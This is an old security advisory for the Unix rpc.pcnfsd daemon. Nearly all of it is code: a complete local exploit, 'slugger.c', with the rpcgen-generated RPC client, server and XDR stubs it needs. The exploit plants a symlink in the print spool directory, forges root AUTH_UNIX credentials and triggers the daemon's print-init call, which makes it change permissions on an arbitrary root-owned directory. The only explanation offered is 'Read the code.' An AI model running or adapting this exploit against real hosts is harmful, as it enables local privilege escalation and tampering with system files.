Avalon Security Research Release 1.1 (pcnfsd) Affected Program: rpc.pcnfsd Tested Operating Systems: Virtually any UNIX running pcnfsd. Affect: Local users may chmod arbitrary directories on local hosts running pcnfsd. Bug Synopsis: Read the code. All responses may be directed to mcpheea@cadvision.com ------------------------------------------------------------------------------ /* * Please do not edit this file. * It was generated using rpcgen. */ #include /* for memset */ #include "pc.h" /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; void * pcnfsd_null_1(void *argp, CLIENT *clnt) { static char clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, PCNFSD_NULL, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return ((void *)&clnt_res); } auth_res * pcnfsd_auth_1(auth_args *argp, CLIENT *clnt) { static auth_res clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, PCNFSD_AUTH, xdr_auth_args, argp, xdr_auth_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } pr_init_res * pcnfsd_pr_init_1(pr_init_args *argp, CLIENT *clnt) { static pr_init_res clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, PCNFSD_PR_INIT, xdr_pr_init_args, argp, xdr_pr_init_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } pr_start_res * pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt) { static pr_start_res clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, PCNFSD_PR_START, xdr_pr_start_args, argp, xdr_pr_start_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } ------------------------------------------------------------------------------- /* slugger.c * By Josh D. April 19th 1994 AD * usage: slugger directory * where 'directory' is an absolute path to a directory owned by * root. * This code requires pcnfsd.x * pcnfsd must be running. * if the program doesn't work or gives you errors make sure that * 'daprinter' contains a valid printer destination. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "pcnfsd.h" /* this should be created by rpcgen */ int main(argc, argv) int argc; char **argv; { char myhost[200]; int gids[8]; struct hostent *dahent; struct sockaddr_in daserver; CLIENT *datsme; struct pr_init_args daargs; struct pr_init_res *dares; char daprinter[65]; char dadir[65]; char dapath[255]; struct timeval tout; int ranysock=RPC_ANYSOCK; tout.tv_sec=60; tout.tv_usec=0; if (argv[1] == NULL) { printf("bad arguments\n"); exit(1); } argc--;argv++; strcpy(dadir, argv[0]); bzero(argv[0], strlen(argv[0])); argc--;argv++; /* this must be a valid printer */ strcpy(daprinter, "lp"); gethostname(myhost, 200); myhost[200]='\0'; sprintf(dapath, "/usr/spool/pcnfs/"); strcat(dapath, myhost); if (fork()==0) execlp("ln", "----", "-s", dadir, dapath); else wait(0); daserver.sin_family = AF_INET; daserver.sin_port = 0; { dahent = gethostbyname(myhost); if (dahent == NULL) printf("gethost failed.\n"); bcopy(dahent->h_addr, &daserver.sin_addr.s_addr, 4); } datsme = clntudp_create(&daserver, 150001, 1, tout, &ranysock); clnt_control(datsme, CLSET_TIMEOUT, &tout); gids[0]=0; gids[1]=1; datsme->cl_auth = authunix_create(myhost, 0, 0, 2, gids); daargs.pia_client = myhost; daargs.pia_printername = daprinter; /* send the packet */ if ( (dares = pcnfsd_pr_init_1(&daargs, datsme)) == NULL) { printf("wierd error\n"); } remove(dapath); if (dares->pir_stat == PI_RES_OK) { printf("Success\n"); if (fork()==0) execlp("/bin/ls", "-----", "-ald", dadir, 0); else wait(0); } if (dares->pir_stat != PI_RES_OK) { printf("Error: "); switch(dares->pir_stat) { case PI_RES_NO_SUCH_PRINTER : printf("No such printer\n"); break; case PI_RES_OK : printf("Result Ok\?\?\n"); break; case PI_RES_FAIL : printf("Generic Failure\n"); break; default : printf("Unknown Error\n"); } } } ------------------------------------------------------------------------------ /* * Please do not edit this file. * It was generated using rpcgen. */ #include "pc.h" #include #include /* getenv, exit */ #include /* for pmap_unset */ #include /* strcmp */ #include #include #include #ifdef __STDC__ #define SIG_PF void(*)(int) #endif static void pcnfsd_1(struct svc_req *rqstp, register SVCXPRT *transp) { union { auth_args pcnfsd_auth_1_arg; pr_init_args pcnfsd_pr_init_1_arg; pr_start_args pcnfsd_pr_start_1_arg; } argument; char *result; xdrproc_t xdr_argument, xdr_result; char *(*local)(char *, struct svc_req *); switch (rqstp->rq_proc) { case PCNFSD_NULL: xdr_argument = (xdrproc_t) xdr_void; xdr_result = (xdrproc_t) xdr_void; local = (char *(*)(char *, struct svc_req *)) pcnfsd_null_1_svc; break; case PCNFSD_AUTH: xdr_argument = (xdrproc_t) xdr_auth_args; xdr_result = (xdrproc_t) xdr_auth_res; local = (char *(*)(char *, struct svc_req *)) pcnfsd_auth_1_svc; break; case PCNFSD_PR_INIT: xdr_argument = (xdrproc_t) xdr_pr_init_args; xdr_result = (xdrproc_t) xdr_pr_init_res; local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_init_1_svc; break; case PCNFSD_PR_START: xdr_argument = (xdrproc_t) xdr_pr_start_args; xdr_result = (xdrproc_t) xdr_pr_start_res; local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_start_1_svc; break; default: svcerr_noproc(transp); return; } (void) memset((char *)&argument, 0, sizeof (argument)); if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) { svcerr_decode(transp); return; } result = (*local)((char *)&argument, rqstp); if (result != NULL && !svc_sendreply(transp, xdr_result, result)) { svcerr_systemerr(transp); } if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) { fprintf(stderr, "unable to free arguments"); exit(1); } return; } int main(int argc, char **argv) { register SVCXPRT *transp; (void) pmap_unset(PCNFSD, PCNFSD_VERS); transp = svcudp_create(RPC_ANYSOCK); if (transp == NULL) { fprintf(stderr, "cannot create udp service."); exit(1); } if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_UDP)) { fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, udp)."); exit(1); } transp = svctcp_create(RPC_ANYSOCK, 0, 0); if (transp == NULL) { fprintf(stderr, "cannot create tcp service."); exit(1); } if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_TCP)) { fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, tcp)."); exit(1); } svc_run(); fprintf(stderr, "svc_run returned"); exit(1); /* NOTREACHED */ } ----------------------------------------------------------------------------- /* * Please do not edit this file. * It was generated using rpcgen. */ #include "pc.h" bool_t xdr_arstat(XDR *xdrs, arstat *objp) { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) { return (FALSE); } return (TRUE); } bool_t xdr_pirstat(XDR *xdrs, pirstat *objp) { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) { return (FALSE); } return (TRUE); } bool_t xdr_psrstat(XDR *xdrs, psrstat *objp) { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) { return (FALSE); } return (TRUE); } bool_t xdr_myself(XDR *xdrs, myself *objp) { register long *buf; if (!xdr_string(xdrs, objp, USERLEN)) { return (FALSE); } return (TRUE); } bool_t xdr_genstr(XDR *xdrs, genstr *objp) { register long *buf; if (!xdr_string(xdrs, objp, GENERIC)) { return (FALSE); } return (TRUE); } bool_t xdr_spool(XDR *xdrs, spool *objp) { register long *buf; if (!xdr_string(xdrs, objp, SPOOLLEN)) { return (FALSE); } return (TRUE); } bool_t xdr_auth_args(XDR *xdrs, auth_args *objp) { register long *buf; if (!xdr_myself(xdrs, &objp->aa_ident)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->aa_password)) { return (FALSE); } return (TRUE); } bool_t xdr_auth_res(XDR *xdrs, auth_res *objp) { register long *buf; if (!xdr_arstat(xdrs, &objp->ar_stat)) { return (FALSE); } if (!xdr_long(xdrs, &objp->ar_uid)) { return (FALSE); } if (!xdr_long(xdrs, &objp->ar_gid)) { return (FALSE); } return (TRUE); } bool_t xdr_pr_init_args(XDR *xdrs, pr_init_args *objp) { register long *buf; if (!xdr_genstr(xdrs, &objp->pia_client)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->pia_printername)) { return (FALSE); } return (TRUE); } bool_t xdr_pr_init_res(XDR *xdrs, pr_init_res *objp) { register long *buf; if (!xdr_pirstat(xdrs, &objp->pir_stat)) { return (FALSE); } if (!xdr_spool(xdrs, &objp->pir_spooldir)) { return (FALSE); } return (TRUE); } bool_t xdr_pr_start_args(XDR *xdrs, pr_start_args *objp) { register long *buf; if (!xdr_genstr(xdrs, &objp->psa_client)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->psa_printername)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->psa_username)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->psa_filename)) { return (FALSE); } if (!xdr_genstr(xdrs, &objp->psa_options)) { return (FALSE); } return (TRUE); } bool_t xdr_pr_start_res(XDR *xdrs, pr_start_res *objp) { register long *buf; if (!xdr_psrstat(xdrs, &objp->psr_stat)) { return (FALSE); } return (TRUE); } ---------------------------------------------------------------------------- /* * Please do not edit this file. * It was generated using rpcgen. */ #ifndef _PC_H_RPCGEN #define _PC_H_RPCGEN #include enum arstat { AUTH_RES_OK = 0, AUTH_RES_FAKE = 1, AUTH_RES_FAIL = 2, }; typedef enum arstat arstat; #ifdef __cplusplus extern "C" bool_t xdr_arstat(XDR *, arstat*); #elif __STDC__ extern bool_t xdr_arstat(XDR *, arstat*); #else /* Old Style C */ bool_t xdr_arstat(); #endif /* Old Style C */ enum pirstat { PI_RES_OK = 0, PI_RES_NO_SUCH_PRINTER = 1, PI_RES_FAIL = 2, }; typedef enum pirstat pirstat; #ifdef __cplusplus extern "C" bool_t xdr_pirstat(XDR *, pirstat*); #elif __STDC__ extern bool_t xdr_pirstat(XDR *, pirstat*); #else /* Old Style C */ bool_t xdr_pirstat(); #endif /* Old Style C */ enum psrstat { PS_RES_OK = 0, PS_RES_ALREADY = 1, PS_RES_NULL = 2, PS_RES_NO_FILE = 3, PS_RES_FAIL = 4, }; typedef enum psrstat psrstat; #ifdef __cplusplus extern "C" bool_t xdr_psrstat(XDR *, psrstat*); #elif __STDC__ extern bool_t xdr_psrstat(XDR *, psrstat*); #else /* Old Style C */ bool_t xdr_psrstat(); #endif /* Old Style C */ #define USERLEN 32 #define GENERIC 64 #define SPOOLLEN 255 typedef char *myself; #ifdef __cplusplus extern "C" bool_t xdr_myself(XDR *, myself*); #elif __STDC__ extern bool_t xdr_myself(XDR *, myself*); #else /* Old Style C */ bool_t xdr_myself(); #endif /* Old Style C */ typedef char *genstr; #ifdef __cplusplus extern "C" bool_t xdr_genstr(XDR *, genstr*); #elif __STDC__ extern bool_t xdr_genstr(XDR *, genstr*); #else /* Old Style C */ bool_t xdr_genstr(); #endif /* Old Style C */ typedef char *spool; #ifdef __cplusplus extern "C" bool_t xdr_spool(XDR *, spool*); #elif __STDC__ extern bool_t xdr_spool(XDR *, spool*); #else /* Old Style C */ bool_t xdr_spool(); #endif /* Old Style C */ struct auth_args { myself aa_ident; genstr aa_password; }; typedef struct auth_args auth_args; #ifdef __cplusplus extern "C" bool_t xdr_auth_args(XDR *, auth_args*); #elif __STDC__ extern bool_t xdr_auth_args(XDR *, auth_args*); #else /* Old Style C */ bool_t xdr_auth_args(); #endif /* Old Style C */ struct auth_res { enum arstat ar_stat; long ar_uid; long ar_gid; }; typedef struct auth_res auth_res; #ifdef __cplusplus extern "C" bool_t xdr_auth_res(XDR *, auth_res*); #elif __STDC__ extern bool_t xdr_auth_res(XDR *, auth_res*); #else /* Old Style C */ bool_t xdr_auth_res(); #endif /* Old Style C */ struct pr_init_args { genstr pia_client; genstr pia_printername; }; typedef struct pr_init_args pr_init_args; #ifdef __cplusplus extern "C" bool_t xdr_pr_init_args(XDR *, pr_init_args*); #elif __STDC__ extern bool_t xdr_pr_init_args(XDR *, pr_init_args*); #else /* Old Style C */ bool_t xdr_pr_init_args(); #endif /* Old Style C */ struct pr_init_res { enum pirstat pir_stat; spool pir_spooldir; }; typedef struct pr_init_res pr_init_res; #ifdef __cplusplus extern "C" bool_t xdr_pr_init_res(XDR *, pr_init_res*); #elif __STDC__ extern bool_t xdr_pr_init_res(XDR *, pr_init_res*); #else /* Old Style C */ bool_t xdr_pr_init_res(); #endif /* Old Style C */ struct pr_start_args { genstr psa_client; genstr psa_printername; genstr psa_username; genstr psa_filename; genstr psa_options; }; typedef struct pr_start_args pr_start_args; #ifdef __cplusplus extern "C" bool_t xdr_pr_start_args(XDR *, pr_start_args*); #elif __STDC__ extern bool_t xdr_pr_start_args(XDR *, pr_start_args*); #else /* Old Style C */ bool_t xdr_pr_start_args(); #endif /* Old Style C */ struct pr_start_res { enum psrstat psr_stat; }; typedef struct pr_start_res pr_start_res; #ifdef __cplusplus extern "C" bool_t xdr_pr_start_res(XDR *, pr_start_res*); #elif __STDC__ extern bool_t xdr_pr_start_res(XDR *, pr_start_res*); #else /* Old Style C */ bool_t xdr_pr_start_res(); #endif /* Old Style C */ #define PCNFSD ((u_long)150001) #define PCNFSD_VERS ((u_long)1) #ifdef __cplusplus #define PCNFSD_NULL ((u_long)0) extern "C" void * pcnfsd_null_1(void *, CLIENT *); extern "C" void * pcnfsd_null_1_svc(void *, struct svc_req *); #define PCNFSD_AUTH ((u_long)1) extern "C" auth_res * pcnfsd_auth_1(auth_args *, CLIENT *); extern "C" auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *); #define PCNFSD_PR_INIT ((u_long)2) extern "C" pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *); extern "C" pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *); #define PCNFSD_PR_START ((u_long)3) extern "C" pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *); extern "C" pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *); #elif __STDC__ #define PCNFSD_NULL ((u_long)0) extern void * pcnfsd_null_1(void *, CLIENT *); extern void * pcnfsd_null_1_svc(void *, struct svc_req *); #define PCNFSD_AUTH ((u_long)1) extern auth_res * pcnfsd_auth_1(auth_args *, CLIENT *); extern auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *); #define PCNFSD_PR_INIT ((u_long)2) extern pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *); extern pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *); #define PCNFSD_PR_START ((u_long)3) extern pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *); extern pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *); #else /* Old Style C */ #define PCNFSD_NULL ((u_long)0) extern void * pcnfsd_null_1(); extern void * pcnfsd_null_1_svc(); #define PCNFSD_AUTH ((u_long)1) extern auth_res * pcnfsd_auth_1(); extern auth_res * pcnfsd_auth_1_svc(); #define PCNFSD_PR_INIT ((u_long)2) extern pr_init_res * pcnfsd_pr_init_1(); extern pr_init_res * pcnfsd_pr_init_1_svc(); #define PCNFSD_PR_START ((u_long)3) extern pr_start_res * pcnfsd_pr_start_1(); extern pr_start_res * pcnfsd_pr_start_1_svc(); #endif /* Old Style C */ #endif /* !_PC_H_RPCGEN */ ****************************************************************************** "Freedom is a meal easy to eat, but difficult to digest". Rosseau Send all replies to mcpheea@cadvision.com ******************************************************************************